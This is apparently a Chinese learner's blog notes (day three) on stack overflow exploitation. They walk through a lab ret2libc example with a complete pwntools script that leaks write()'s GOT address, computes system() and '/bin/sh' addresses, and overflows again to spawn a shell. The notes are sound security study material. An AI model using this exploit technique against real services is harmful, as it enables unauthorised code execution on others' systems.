zoukankan      html  css  js  c++  java
  • 栈溢出笔记-第三天

    在看蒸米文章时候,http://www.vuln.cn/6645,这个例子是向buff写入shellcode,最后ret到shellcode地址执行。
    堆栈示意图就是这样:
    Alt text
    注意的点,算shellcode地址,去调试core文件,x/10s $esp-144,实际就是buf起始地址。
    通过ROP绕过DEP和ASLR防护
    Alt text
    蒸米的最后一个例子结合玉涵的视频看,需要理解plt和got

    #!python
    #!/usr/bin/env python
    from pwn import *
    
    libc = ELF('libc.so')
    elf = ELF('level2')
    
    p = process('./level2')
    #p = remote('127.0.0.1', 10003)
    
    gdb.attach(proc.pidof(p)[0])
    
    plt_write = elf.symbols['write']
    print 'plt_write= ' + hex(plt_write)
    got_write = elf.got['write']
    print 'got_write= ' + hex(got_write)
    vulfun_addr = 0x08048404
    print 'vulfun= ' + hex(vulfun_addr)
    
    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
    print "
    ###sending payload1 ...###"
    p.send(payload1)
    
    print "
    ###receving write() addr...###"
    write_addr = u32(p.recv(4))
    print 'write_addr=' + hex(write_addr)
    
    print "
    ###calculating system() addr and "/bin/sh" addr...###"
    system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
    print 'system_addr= ' + hex(system_addr)
    binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
    print 'binsh_addr= ' + hex(binsh_addr)
    
    payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
    
    print "
    ###sending payload2 ...###"
    p.send(payload2)
    
    p.interactive()
    

    对poc的理解,为了规避堆栈平衡问题,函数再一次返回vulfun的地址,write函数原型:ssize_t write(int fd,const void*buf,size_t count);打印出got中write函数地址。

    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
    

    在write函数下断,右图是栈中传入的4个参数
    Alt text
    因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。

    system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
    print 'system_addr= ' + hex(system_addr)
    binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
    print 'binsh_addr= ' + hex(binsh_addr)
    

    再一次溢出获得shell

    
    payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
    
    

    另一种堆栈平衡的poc,这个是
    Alt text
    Alt text
    其中,write@plt puts@got等地址都需要在IDA中查看,因为plt和got理解不深,还需要看那本经典的书,回来在测这个方法。


    下一步还是继续看《程序员的自我修养—链接、装载与库》,这里面的题目看的有点吃力,打好基础再刷这个https://www.anquanke.com/post/id/85831 目前看https://bbs.pediy.com/user-510716.htm https://bbs.pediy.com/thread-248681.htm http://www.vuln.cn/6643 https://www.anquanke.com/post/id/85831和ctf-wiki
    目前都是在x86系统搞的,x64环境都没编译,先捋一遍,熟悉了,在搞x64的环境

    参考链接
    https://www.ichunqiu.com/course/63279
    http://www.vuln.cn/6645
    https://zhuanlan.zhihu.com/p/25892385

  • 相关阅读:
    MongoDB初期学习
    springboot+camunda实现工作流1
    一文带你深入理解位运算
    【林超所长】学科01:熵与热力学重要模型
    PM常用的讨论社区及牛人帖子
    C# 2.0 的特性 总结
    小脚本解决生活问题
    Domain Adaption 之 TCA等算法
    强化学习ddpg算法
    bindkey用法
  • 原文地址:https://www.cnblogs.com/afanti/p/12654949.html
Copyright © 2011-2022 走看看